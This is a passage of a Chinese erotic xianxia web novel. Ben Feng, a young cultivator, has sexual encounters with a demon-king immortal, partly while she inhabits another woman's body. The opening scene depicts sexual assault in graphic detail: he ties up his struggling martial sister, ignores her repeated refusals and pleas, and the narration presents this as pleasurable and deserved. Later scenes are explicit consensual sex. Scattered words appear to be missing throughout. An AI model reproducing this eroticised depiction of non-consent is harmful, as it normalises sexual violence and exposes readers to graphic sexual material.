本风瞧见她那的羞涩模样,心头不免一荡,目光不知不觉落到了玉露的酥肩之上。
拂捏穆末心如惊鹿,避着他的急色目光,稍稍有些慌张地道:“别乱瞧……快松开我,要不……”
“哼哼,不放你又能怎样。”本风一脸无赖,更加放肆地仍然盯着她的玉膀,忍不住想想要用手摸一摸。
“你……怪胎……欺负我。”拂捏穆末挣扎着要起来,却被本风紧紧地压住,纠缠之中,手臂无意间碰到了她的酥-胸,登时如遭电击,所触部位一阵发麻,心头不禁跳荡难止。
拂捏穆末低哼了一声,咬了咬玉唇,挺乖地说道:“好师弟,不玩了,起来了。”
本风哼哼了两声,却道:“你撕了我从上清派偷来的大洞经,又踢了我最摸不得的屁-股,现下怎么说不玩就不玩了?”
“那你要怎样?臭怪胎!死蠢货,大色鬼,有种你放我起来,师姐跟你玩到底。”拂捏穆末有些气急败坏扭动着身子。
“你还敢骂我?”本风探手扣住了她的玉肩,只觉温软滑嫩宛若凝脂,心头一阵邪恶的升起,倏地扯住裂开的绣衫,扑,撕下一片来,里面的束胸露出了端倪,隐约可见细致的闪亮绣纹,显然是用极佳的绸缎做成。
拂捏穆末芳心乱跳,软软地道:“别了,师姐怕你了,饶了师姐吧。”
“终于找到收拾这恶妞的办法了,太过瘾了!”本风大乐,盯着她那略略有些惊慌的表情,一脸邪恶地笑着道:“你撕我的大洞经,我就撕你的衣服,这好象很公平哦?”
“怪胎!你要是……再敢乱来,我……我……”拂捏穆末真的有些慌了。心里却不想真的跟怪胎师北弟着恼。
“你要怎样?”本风手下用力,又将她的绣衫撕下一块来,露出的束胸映着细嫩的玉肌如冰似雪,一条细带勒得周围的微微隆起,立觉口乾舌燥。
“你还撕!求你了,别撕了。”拂捏穆末急得要哭出来的样子。
“嘿嘿,那本大洞经一共有三百六十页,我只撕回了两下,还差好多哦。”本风眯着眼睛看着身下的师姐,心里泛着好邪恶的快活。
拂捏穆末一听,差点儿气晕了过去,若是再让这个怪胎师弟撕几下,恐怕自己就要光洁溜溜了,大叫道:“你敢再……撕,我一定杀了你,扒了你的皮,煮了你的肉,烧了你的骨头。”
本风害怕身下的恶妞乱挣,越加用力地抱着。挣扯中,两人厮磨,撩惹得本风浑身发烫,猛一眼瞥着衫里拱起的玉-嫩蛮-腰,更是百脉热沸,饥渴难耐地颤着手钻入衫内,一阵毫无章法地。
拂捏穆末一阵酸软,越发拚命挣扭。
本风突然感觉到脚底下有根软索,一股从未有过的邪念倏然生出,竟提起软索将师姐的双腕双腿绑住,抱到了石屋里的绣床边。
拂捏穆末半躺地上,头靠床缘,张着娇俏的小嘴儿,有些惊异地地望着似乎陌生了的怪胎师弟。
本风粗喘着气盯着师姐,只觉这平日里凶巴巴的小恶扭格外,冷不防探手朝恶妞的胸前一抓,将她那紧裹酥峰的束胸一把扯了下来,刹那间,两只饱挺的玉兔弹跃而出,无比迷人地轻轻晃动着。
拂捏穆末惊呼一声,拚命收肩缩腹,无奈双腕双腿被绑住了,娇嫩的玉肌就这么露了出来。
本风浑身躁热,猛扑上去,迫不及待地用嘴同手四处寻,热躁的邪火急速膨胀,无法遏制。
扑面的男人气息让拂捏穆末一阵晕眩,身体里有一种从未有过的反应。本风的手攀上师姐滴粉搓酥的俏桃,一阵子贪婪的捏揉,突然又俯脸张嘴,噙住了其上的娇艳小樱桃,激动而狂乱地舔咂,粗重的呼吸不断喷吐在雪峰之上。
拂捏穆末娇哼一声,娇躯急挣猛扭,想要摆脱这急躁的侵袭,越挣扎反而被抱得越紧。
好一阵子,本风才放过了她的,带着很强烈的征服,嘴唇一路蜿蜒下移,滑过玉沟雪腹,双手贴到她的腰际,一手开始松解她罗裙的腰带。
拂捏穆末呼吸愈来愈急,周遭的空气彷佛变成了热躁的蒸气,胸前团团饱胀,说恼不是恼地一阵一阵犯晕糊。
本风咬了一下拂捏穆末的耳朵,小声说道:“看你以后还敢不敢再欺压我……”有这么一句借口,本风突然伸手探入了松开的罗纱亵裤……
“不要!你这个怪胎,你太过份了,师姐要恼了。”拂捏穆末用头顶了本风的胸口一下,却不知下边给他碰触着了哪儿,顿时浮起大片可爱的潮晕疙瘩。
本风手指陷在一团如脂似膏的娇嫩里,不由自主地小心探弄,彷佛害怕太过唐突,就会弄破了什么。忽然间,他的指尖碰触到了一粒嫩嫩的小小豆儿,正活泼泼地颤动着,滑溜溜的捏拿不住,只觉无比。
“要死了!竟让臭师弟摸到了那里……”拂捏穆末芳心惊悸,娇躯乍绷乍酥,蓦然感到一阵热浪袭身,似有什么从花苑深处洒了出来,惊慌地低呼一声,整张俏脸都好似火烧。
本风只觉指端一烫,已是满手滑腻粘绸,脑海里尽是稀奇古怪的迷色想,心中涌起要一窥究竟的强烈,“女人的那里究竟是怎样的……真的是曲径通幽其乐无穷吗?”他索性抽回了手,想看却看不到,又伸手摸到了拂捏穆末两股下,用指勾住亵裤的一端,轻轻一撑,猛将师姐裙内软滑的玉润亵裤褪了下来。
拂捏穆末正要挣扎,却被本风蛮横地用膝顶压住两腿,一只魔手撩起罗裙,再次攻占了娇嫩的禁地,伴随着辗转反覆地恣意揉弄,一阵阵无可抗拒的酥麻与酸软渐渐地从小腹弥漫泛起,俘虏了她溃败的底线,绷紧的娇躯慢慢松缓下来。
本风趁机将她外边的绣花罗裙高高掀起,卷在腰间,垂首望去,只见俏耸的雪贝之下乌茸稀疏,柔如碧草,间中一条已被自己揉开的粉色嫩缝,正令人心跳地闪泛着晶莹的水光。
拂捏穆末动弹不得,只有无助地望着他的放肆色目,羞得浑身发烫,心中幽怨欲泣:“呜呜……什么都给怪胎师弟瞧去了……全都给他瞧去了……”
本风凝目细看,除了如脂如浆的粉红,始终瞧不清缝内的神秘绮景,突然记起看过的一册春宫上那一幅幅男女交-合的画面,一股腾腾而起的热中急速泛滥,粗喘着,急慌慌地解开自己的腰带,褪下外裤和亵裤,迫不及待地将早已勃翘如弓硬如铁铸的物事移到了师姐的腿心,火烫而硕大的前端抵住了湿滑的,触及的刹那,不由打了个激灵,浑身一阵紧似一阵地颤动。
拂捏穆末惊觉,知道怪胎师弟正用某个陌生吓人的部位碰触自己的禁地,顿然一股火热冲上脑门,似乎听到心所轻轻乱响,悸叫道:“不,别,千万别!”
本风却仿若未闻,手掣膝顶将她牢牢地压住了,试探地朝前顶了一顶,谁知只没了半分,前端便似给什么紧紧箍住,既韧又滑,美得忍不住咝咝地吸气。
猛恶的最爱作弄师弟的师姐却对即将发生的似懂非懂,惊惧着颤泣道:“求求你了哦……不要作弄师姐了,师姐真的怕你了,停下吧。”
本风稍微加力,依然无法再往前去,但觉越是使劲,便越感爽美,于是挺紧腰杆,膨胀的前端在两片柔嫩的花瓣内扫扫探探,顶得师姐不住嘤嘤哼呀,“女子的那曲径果然如那春宫上画的,原来男人用物事碰碰女人这里,就会如此舒服……”
拂捏穆末睁大双眸,身子拚命往后缩去,殊不知这娇羞怯惧的模样更是,惹得怪胎师弟越发恣狂,力道愈来愈重,突感一股难耐的强烈酸软从底下窜出,直袭心头,不由一声娇啼,螓首前冲,张口咬住了本风的肩膀。
……
“师姐,你怎么真的咬我?”本风从轮回之境醒了识念,却仍是迷蒙地有些发痴地对侧卧于床边的拂捏神王说了一句。
拂捏神王背对着本风,手里拿着凝眉镜,用通明的神识,凝化出了冯小怜横陈玉案之上的那段被后人屡骂不绝的公案。
横陈的肉身就那么曲线玲珑地微动着,一众精虫满溢的王公大臣,都贪焚地盯着……
垂诞如滴。
第109章 三百圣女,魔王法则[二十五]
“谁咬你了,只有蠢货才咬你呢……你怎么还站着呢,你快上来看,小怜都横陈玉案上了,你还不快上……你看那些男人,简直都要胀破裤子了。”拂捏神王娇饶的仙身稍稍地朝本风转了转,一对天生的秋水看了看立在床边的本风。
本风的外裤掉到了膝盖下,亵裤还罩在那物事上。怪胎穿了一条冯夫人给绣了春画的细罗滑裤。那堆物事很突兀地顶着。
“神王姑娘,问你哦,你们魔修,寄神夺舍,是不是都要先抹去一段识海的记忆?”本风趴到床边头钻进了帐子里,颇是处色不惊的淡定。本风很想知道拂捏姑娘还记不记得那次指着自己的鼻子的可爱样子。
本风盯着拂捏姑娘,心中别有另一番探究。
床-上一个仙身玉质的神王姑娘,一个被三转鬼魅养得越发臻至极限妖媚的冯小怜的肉身……跟这两具肉身三位一体,简直是直上重霄九。
人也,时也,命也。冯小怜后这鬼妞嫉妒一下也无可厚非——每每这鬼妞作恶,便有继之而来的艳福。
“不告诉你哦,你自己猜好了……”拂捏神王咭咭咯咯地笑了,“你这个怪胎,你竟然叫我神王姑娘,你嘴里,就始终不肯叫奴家一声仙子吗?”
“在床-上叫仙子不好。等一下咱们做完了,给珞仙子寄养好了元神,咱们携了手,到外面,看着星星,叫你一百遍仙子都可以。”本风觉得,刻下就要跟神王姑娘颠鸾倒凤了,仙子这两个字,就不要亵渎了。
神王姑娘略起了起身子,撒娇一样地望着本风,“就叫一声,求你了。”
“那……你既然有这执念,叫一声是可以地,不过,我有条件的,我觉着,咱们两个要先合体一次,有了生养的默契以后,再在冯小怜身上结胎,这样才是万全之策。你要知道,我是担心万一有什么闪失,就对不住珞仙子寄托我的一番苦心了……”本风又祭起宅心仁厚的闺中法宝,不由得拂捏神王对他刮目相看。
拂捏姑娘能从佛门守护手里拿到珞茫离的本命水莲,当然不能随随便便找个男人合体,随随便便地在冯小怜的心所里结胎生养。
此段公案攸关第二蠢货的魔神之劫,攸关金仙的二度飞升,攸关舍身魔王仙质玉身的大成,须得万分万分的慎重。
本风却只当是送个顺水人情,给昆仑的珞仙子行个方便。
拂捏神王眼神幽幽地盯着本风,“那你就全-脱了,上-床来,我成全你就是了……奴家就为了你个怪胎叫一声仙子……唉,唉,真是逃不过的冤孽。”
“神王仙子……仙子姑娘……我来了……”本风脱得光洁溜溜,屁-股挨着床,慢慢地蹭到神王姑娘的身边,抬起腿压到了两条丰弹的玉-腿间,神王姑娘勾着玉致的小腿,用裸足摩挲着他腰臀的那道肉沟,细腻至极的肤肌仿佛珍珠的磨粉,滑得令他忍不住仰了仰头,胯间的物事猛地抖了一抖……
神王姑娘仰躺了,浓发摊散,身下是细致绣纹的锦簟,一对椒葫的尖翘圆物高高贲起,膨大的嫩樱泛着一层细蒙蒙水茫,樱红之中微微透出珠紫,宛若熟透沾露的紫葡萄。
神王姑娘初始还有些矜持,继而跟本风亵猥了一阵子,便百无禁忌了。仙质盈盈的一张玉脸始终带着笑,时而俏皮、时而妖媚,再小不然地透出凛然傲冷的芳华,或者婉尔间显出一丝羞羞的娇态,着实让本风怜香惜玉,舍不得粗手笨脚地做下闺间的龌龊公案。
她一手握住他充分勃挺的下-身,灵巧地套弄滑动,抿唇吃吃笑着,入手的瞬间略显吃惊,随即露出赞许的神色,咬唇的模样似有些腼腆;另一只柔荑却拉他的手,导引到自己的腿心,热烘烘的嫩瓤中又湿又滑,会一缩一缩夹人的腔肉却爽脆柔韧,印象中只有鲜嫩的无闾奶果可比,但奶果又不如她的柔嫩湿热。
拂捏姑娘还真不造作,没有世间女人的扭捏作态。
本风有些放肆地掏弄着,指尖忽被一圈紧肉,拉出一条晶莹液丝,足牵了四、五寸犹未断绝,浆腻处更胜奶果的浆液。
神王姑娘压下膝盖,挺起嫩蚌似的玉致耻丘,跨间线条柔媚的肌肉束紧。这个动作令股间加倍凹下一处美丽的三角谷地,幼指般的嫩樱剥出尖儿来,整个花苑浑圆,浅褐色的两片酥贝犹如切开的两片奶果,微微裂开一抹蜜缝。
她双手握着本风的弯长,一点一点地吞入其中,紧箍着龌龊物事的琥珀色间,逐渐挤出荔汁似的半透明亵液。
“慢……慢点!怪胎。”她红果似的唇瓣歙动着,朦胧的眉眼一会儿揪着本风,一会儿媚媚地浅笑,随着本风的前进不住颤抖,似是有些吃不消;直到全根尽没,才长长吐了口气,眯着眼喃喃地笑道:“怪胎……就为你这一下,不知道过了多少的时日!奴家好久好久没经历过了……好硬好硬,都……顶得奴家喘不上气啦。”玉手往平坦的小腹上一比划,双颊潮红,娇羞的模样简直就像天真的还未懂人事的小女孩,又媚又痴。
本风难以自制地驰骋起来。
初时动作还有些心怯的笨拙,但神王姑娘的泌润委实太过充足,每一下深入,都能清楚感觉自己那物事从无比紧凑里挤出一注浆水。两人股间如飞泉喷溅,不唯臀股菊门,连小腹、胸口都湿漉漉的,进出畅快无比,欲仙欲死。
神王姑娘雪嫩的双手揪紧着绣枕,揪乱了玉簟锦被,挣扎似的扯下了挂吊起来的纱帐,还试图攀上他的脖颈。他却昂起上身,只让她抓摸自己的胸,看着她摇首晃腰,浑圆挺耸的水葫在撞击之下不住颤动,仰着雪颈张口吐息,本风可以想象到舍身仙子那销-魂蚀-骨的。
“好……怪胎!你真是个怪胎……”不过片刻,一股锐利的释放感猛地贯穿怒龙、冲出尖端,本风扑倒在她汗湿的峰峦间,龌龊物事如遭无数玉手掐握,喷发得难以自停,一时间竟然浑忘了一切,飞升一般地失神了。
稍倾,身下觉着了温热,神王仙子的娇颜正埋首腿间,丁香似的湿滑舌尖轻刮那龌龊物事的囊底,从上而下,细细咂过。红果似的小嘴轻啄龌龊物事的尖端,勾卷着舐去尖端沁出的一点猥液,沾满香唾的物事晶亮发光,从樱桃小嘴里牵出一小条液丝,模样分外妖糜。
这是作梦也想不到的艳景。
须臾间,本风又激颤起来,那物事象是青玉玛瑙,通体光滑,浑无半点青筋。
神王姑娘跨上他的腰,握着那吓人物事缓缓坐下,本风顿觉整条长物陷入紧凑的深谷幽径,仿佛是一圈圈温润的玉环圈就。蹲坐了一半,一道热液颤涌着挤出贝口,淌下股沟,就觉着菊门一阵润滑的湿意。
拂捏仙子姑娘慢慢地往下坐,终于坐到了底,腿股不自觉颤抖起来。两人都闭上了眼睛又一起昂首,紧拥着,朝对方和嘴里吐出一口畅气。
本风紧盯着拂捏姑娘仙殊无尘的玉脸,高耸的胸峰,以及纤曼的蜂腰,舍不得稍稍移目。第二番,神王仙子摇得极其缓慢,玉嫩的修腿一上一下挺动,宛若骋驰战场的女将,溢出的香汗不住地在起伏有致的胴体间滚动迸散,溅得本风脸上胸上全是。
两人的接合处,亵猥的交-媾气息温散,与潮湿的汗味,那股仙子独有的体香混合交织,嗅到鼻里,格外陶醉。
这女人……曾经是自己的师姐……自己竟然在声名狼藉的花间门混过,看来自己也不是什么好鸟……现下,在这片温热的绣簟之上,尽情享用这具妩媚的娇美胴-体,像此刻这般,像要揉碎她的身子似的,箍着骨肉匀停、丰弹有力的纤纤蜂腰儿,用力往上挺耸……本风糜想着曾经围着仙宫踏着飞剑看到的那个小仙子,竟然跟自己汗液交织的缠交在床-上。
……
拂捏仙子忽然弓着背,身子大抖起来。紧凑的嫩腔象是遇上了不速之客,忙不迭地收缩起来。本风发狠似的一下一下往上顶,渐有一丝泄意。
蓦地一阵颤抖,胸中快意大增,猛然仰头张口,一股强烈的震动自心所直冲识海,似有音波贯出。神王姑娘搂着他的颈子,将香润凉滑的渡入他口中,两人,津唾漫流,吻得物我两忘。
热吻片刻,神王姑娘转头轻咬着本风的耳垂,两人交颈而拥,那一缕被香汗浸湿的飘发垂到了本风的脸上,尚有几绺柔丝粘在鬓颊边。
本风转着下巴摩弄她颈侧的玉肌,双手捧着两只尖翘水葫,恣意,只觉耳里频频传入极其销-魂的低声,还有濡湿的颤抖的喷息。正要起身亲吻那对美物,肩上忽被她双手一压,宽肩薄腰的拂捏仙子蜂腰挺动,支起身子,玉臀挺动,重重刮套着龌龊的物事,腰腿却不住颤栗着,玉手紧紧捧着本风的脸,香汗淋漓的的玉脸上透着一股美辣的神态,低低的哼道:“快……奴家要怪胎弄奴家……”
本风笨拙地扣紧她的娇妖蜂腰,奋力撞着股间凹陷,物事急耸,猛被腔肉一掐,熔浆似的爆出大股热流!
喷得浑身酥软,仿佛被掏吸一空,却很是无所保留地畅快。
拂捏姑娘双手按在本风的肚腹间,撑起曲线玲珑的娇躯,挺着背翘起来的雪臀,深吸一口长气,仿佛被喷得心魂欲醉,神识贯出天灵,直飞向九霄云外。
岂料这一口气竟是无休无止,本风被她滑腻的小手按压着腿腹相交处的阵地,又湿又紧的嫩腔持续收缩,似要将还未消软的物事掐断。体内的数股精阳不断地从尖端被抽线似的汲了出去,转眼欲喷之意消失,又再泛起那喷薄难止的感觉,如此反复,本风这闺中的初鸟才识得神王姑娘的幽深本钱。
本风被她夹得悬腰离簟,说不出的爽利快活,也不知过了多久,一股极舒服的阴凉湿润的感觉忽然自身底下的秘处弥漫开来,柔若无骨的玉手弹琴似地拍打着他胸腹的两腿,那股阴润之气便像水一般透浸全身,灵台一清,经脉舒畅无比。
神王仙子捧着他的脸,就这么一览无余的盯着,仙质滑嫩的玉脸似乎更加容光焕发,微泛着一层淡淡光晕,益发绝艳醉人。
一番眉目传情的调弄,仙子轻启朱唇,温柔发声:“吸气——再吸气——吐气——恩,好乖哦。”本风依言而为,还浸在嫩贝里的物事慢慢昂扬,撑得她又深又满,颤抖着又溢出一小注亵液……
第110章 三百圣女,魔王法则[二十六]
飞琴和飞棋在石屋的皇家式书房打着坐看道修中人相争而求的《大洞经》……紫清毓华林,长眠太无外,玉房大宝云,九扇胞胎内,苍玉斌来生,卫此长夜会,五灵度符籍,九统合九光,太玄居玉清,紫阳发万生,玄精育九灵,元父结胎仙……
两女对“玄精育九灵,元父结胎仙”颇是不解,其他也是一知半解。依着飞琴,本就不该看。可是两女又不想离开本风公子。飞棋觉得,本风公子被拂捏魔王迷住了本性,应该寻个机会跟本风公子警示一下。
还有……两女是真心真意的绮思糜想着舍不下本风公子。初尝闺中极乐的两女,玉身的深处不时地泛起一股股难以抑制的热躁……十回度初心,得入大信根……
读着《大洞经》,两女不由得就想起了本风公子的那根要命的大根。
……本风公子若是着了魔王的道儿,会不会被魔王那样了。飞琴看不下去了,起身对飞棋道:“我得去里面看看,不能由着佛捏魔王害了本风公子。”
飞棋却道:“我们两个不是风魔王的对手,去了也是送死。”
飞琴睁圆了凤目看着飞棋,“死又如何,你要是怕了,你就下山去,给门主发警讯,我一个人进去就是了。”
“要死咱们就死在一起……我已经试过了,这石屋被魔王布下了法阵,咱们怕是也成了魔王要杀便杀的俘虏,只怕是咱们以后成了最下贱的女奴……”
飞棋的脸上呈现了忿怒之色。
“魔王果然够狠毒!”飞琴恨恨地哼了一声,“跟本风公子一起,死也无妨。”
“生不同丘,死当同穴,走,跟魔王鱼死网破!”飞棋放出飞剑挑开了书房通往后苑雅房那道侧门的蓝珠纱帐。
拂捏魔王的石屋行宫,每一处每一件物事都是十分地讲究。
过于奢华,十分洁癖地奢华。
两女走过回廊,不用细辩,已经可以听到拂捏魔王调弄本风公子的娇笑声。
雅房的门就那么开着,两道金黄的蚌珠纱帐里,有一道画了仙子降露的紫木屏风。屏风的后面是氤氲的一层雾气。
……
屏风之后,置着一只圆形的软木桶,冯小怜全身赤-裸,闭目将玉身浸于桶中,那蒸腾得浓浓水雾正是来自桶中的浴水蒸出,看着缭绕的雾气,便知水温正热,浸得桶里的女人通体舒泰。
……
冯小怜玉润的一双玉手,轻轻放落浓发,被浴水浸湿得发丝一缕缕地垂落在木桶的外沿,两条玉酥的得细嫩藕臂拦在桶缘,裸露出肤质细润、线条姣好的腋窝来,腋下光洁如玉,令人忍不住想凑上去轻啮一口,细细舔咂;微波轻动中,耸出一对白酥的浑圆玉球,水珠沿着的弧面一滴滴地滑落,水下隐约两点细嫩玉樱,淡淡得浅橘色酥柔粉润,玉首昂然,亟欲波出水面,十分撩人。
本风看得入迷。拂捏仙子的本命元神附寄在冯小怜的肉身上,举手投足间仍是不染尘埃的令人。分神期修为的拂捏神王完全可以不用跟本风肉身相触做那尘根直入耻房的举动,可是偏偏又爱听一声“仙子”的呼声,酣畅淋漓地跟本风这只十分怪胎的呆头鹅行了五次闺中的大乐。
冯小怜的肉身就跟身具了心魂一样,粉颈倚着桶沿向后仰着,玉致的下颌微微抬起,已极致的胸波起伏有致,伴随着一阵轻细微鼾竟似要在浴桶中小睡一样……本风走近了,仍还是自我成一统地微闭着秀目,浑然忘我。
稍等了一会儿,一股股热气从垂着的几道珠帘纱帐里漫散,浸在桶里的娇躯又显出了另一番的令人销-魂的艳景。
横陈的就是叫人惊叹上天造人的鬼斧神工。冯小怜的那双比例极为,两条光嫩嫩的笔直交叠在桶中轻撩,腿心夹着一团白玉一样的耻羞隆起,乌黑得细毛在水中水草一样柔柔地飘摇,不住轻轻微晃。
本风几番看到冯小怜这个极品祸害的肉身,喉头还是忍不住梗动,只觉面红耳热,不敢多看,正要轻轻倒退出去,忽听门外一阵阴厉的异响,一道凄恶的鬼音透过屏风,传到了本风耳里:“你们,你们欺我太甚!还我的肉身!”
“又是你,冯小怜,为什么要这时候来煞风景。”拂捏神王嘤咛一声,还未睁眼,犹带鼻音甜腻声音无比娇慵:“你知不知道奴家现在在净身,这种时候,奴家最烦有人来打扰。”揉了揉玉致的额角,正欲起身,却极羞地见到了傻立在浴桶边的本风,象是怕怕地双手掩胸躲到了水下,将起欲起的玉身溅起一片水晶似地浴液。
冯小怜的鬼离影倏然飘了进来,“刻下不是鱼死,就是网破,我绝不让你得逞,哼!”
拂捏神王却似什么也没听到,双颊潮红地看了看两眼大睁的本风,玉脸上有些羞意,还带了几分怒色,可是在本风看来却是美极,那迷人的神态,一手掩胸,一首遮着腿心,还俏皮地示意本风不要说话,“咱们不要跟他鱼死网破,不怕她哦。”
玉身在水中泛着珠光,一双柔荑自是随意地摆着,想掩住两只浑圆得傲人玉瓜,简直是欲盖弥彰。本风不知道自己的笨相已经隐在拂捏神王的蚌影法阵里,就这么看着已经鬼怒至极的冯小怜对着拂捏神王抓狂。
从冯小怜的鬼声里,本风听到了嫉妒,鬼妞竟然嫉妒。
“我的话你听到了吗,你没有选择,出去,我要跟本风相公在桶里一起净身,我不想有任何人来打扰我。”
佛捏神王娇羞地看了本风一眼,玉臂一伸,拉住了本风的手。本风也不把冯小怜的鱼死网破放在眼里,趴到桶沿上,朝拂捏神王吹了一口气。那龌龊过仙子耻房的物事也昂然而动,裆间撑得又涨又高,隐约浮露出那吓人的形状。拂捏神王玉臂一用力,把本风拉到了浴桶里。
冯小怜却象是遇到鬼了一样,鬼离影围着一道纱帐起起落落地乱绕着。
拂捏神王背靠桶沿用腿压着本风不让本风露出头来,过了一会儿才拍了拍飘在水面上的的纱罗,示意本风钻出来,本风这才冒出水面畅呼了一口气。
“嘘……那鬼妞要怒了,她要斩碎了你的头哦。”拂捏神王伸手嘬着的唇瓣,示意本风不要发出声响,纤细的左手食指往前一伸,轻轻柔柔地按着本风的嘴唇。本风大口吸气,朦朦胧胧之间,只觉得唇上一点腻润的湿意和甜香,忍不住张口轻啮。
拂捏仙子“嘤”的娇笑了一声,咬住嘴唇忍着呵痒的笑意,玉嫩至极的身子轻轻微微颤抖着贴着本风。浴桶不算宽大,容不得两人并坐,拂捏仙子玉脚勾着本风的,先让本风坐在了桶底,自己再慢慢地跨坐上去。
鬼妞还在纱帐间乱窜。数道纱帐间显然有隐形法阵。鬼妞真是自不量力,若是实力不够,就连鱼死网破的资格都没有。这鬼妞纯是急火攻心,自乱阵脚。
两人象是怕鬼妞看见似地,动作极轻。一双笔直得纤细玉-腿分跨在本风腰间,浑圆的耻丘抵着本风的亵裤,陡觉一物顶了上来,坚硬滚烫,隔着细滑的罗绸亵裤摩擦着她的娇嫩耻房。
不觉有些心荡,双手撑着桶沿便要起身;谁知稍稍离起,顿觉莫名的空虚,犹豫之间,腴润得蜂腰已被本风的一双手掌拿住。本风身子发热,识念里烘烘热的,双手一触及她滑腻的,便再也不想放开,一股莫名得欲念自心所深处沸蒸,难以遏抑,忍不住低头啃咬拂捏仙子雪腻酥润的峰肌,一手攀上浑圆巨硕的左瓜。冯小怜的这具让男人垂涎三尺的肉身,一对玉葫硕大,玉质却极其绵软,腻润的液汁印出了极其细绵的纹线,触手丝滑,令人爱不释手。玉葫的下缘沉甸甸地坠成了完美弧形,玉肌滚溢,顶嵌在纤纤蜂腰上丰不露骨的玉肩下,浑然天成。
傲人的玉葫色泽浅润,光滑无比。本风握着她的左瓜恣意,细绵柔软得瓜肉溢出指缝,怎么抓都难以抓实。揉着揉着,忽觉掌心磨着一点硬翘,微微放开些许,得玉廓猛得一颤,却见樱蕾微微翘弹,翘起一枚桃尖似的嫩圆。
整只玉葫从侧面看来,宛若欲裂熟透了的嫩桃,尖、翘、圆、饱兼而有之,形状既美,手感又是极佳。本风揉得兴起,忍不住低头去衔,轻啮着柔嫩的樱锋往外一拉,玉形陡然被咬得尖立起来,柔软到了极处。
“啊,啊啊……怪胎,谁让你咬了,不要咬了……”这一幕都是按照拂捏神王的程序姿情姿意地进行着,然而被本风咬啮的一瞬间,她似乎想起了什么……似乎是几百年前花间门中被怪胎师弟侵犯的欲迎还拒……嫩尖上既酥又麻,又痒又期待不已的美妙感觉都有些陌生了,拂捏仙子以心所识念的本能,闪躲推拒着,看起来就象是一个俗世女子被一个无良子弟欺凌,颇是无奈,软弱无比地在浴桶中挣扎着。
本风加倍的兴奋,他不顾仙子不知何意的推拒拨弄,尽情揉弄着那对醉人的挺弹。
与拂捏神王的本体肉峰不一样,冯小怜的这具被紫碗草的雪露滋养的玉肌水葫嫩如水中珠玉,滑腻如脂,弹圆得令人咋舌,白致如结晶一样的透出淡淡的青纹,仿佛不堪如此饱实沉淀的重压,就要玉钟坠落,只消用手指轻轻一掐,葫瓜便无法控制地在掌中恣意弹动,这么一对傲物,足以让急色的男子手抓嘴咬。本风极爱冯小怜的这对玉葫,心生怜惜之余,又忍不住地蹂躏抓弄。
拂捏仙子喘息愈急,几楼湿发紊乱,双颊娇红,柔弱的模样与不把俗世男人看在眼里的那股高高在上的傲冷有着天壤之别,更加心生龌龊的捉弄。本风紧搂着她的玉质,从她的颈侧一直吻到胸口。
……带着硬来的男人有些陌生又有些熟稔的气息,让拂捏仙子不由得识海纵横,显出一幕幕闺中致乐的意乱情迷。本风有些粗手笨脚的搂抱抓捏,粗暴又温柔的啃咬,还有一直弄得她的那具本不该属于自己的玉葫的销-魂感觉……拂捏仙子几乎都要忘了,这是三位一体地要为珞仙子结胎生养了。
“不要弄了……再弄就没办法给珞仙子结胎了。”
本风却是听而不闻,依然故我。
拂捏仙子抡起玉拳捶打本风的胸膛,扭动娇躯以避免再被龌龊的双手欺凌,的双腿紧紧夹住本风的腰股,撒娇地不让本风褪下亵裤……木桶里水花乱溢……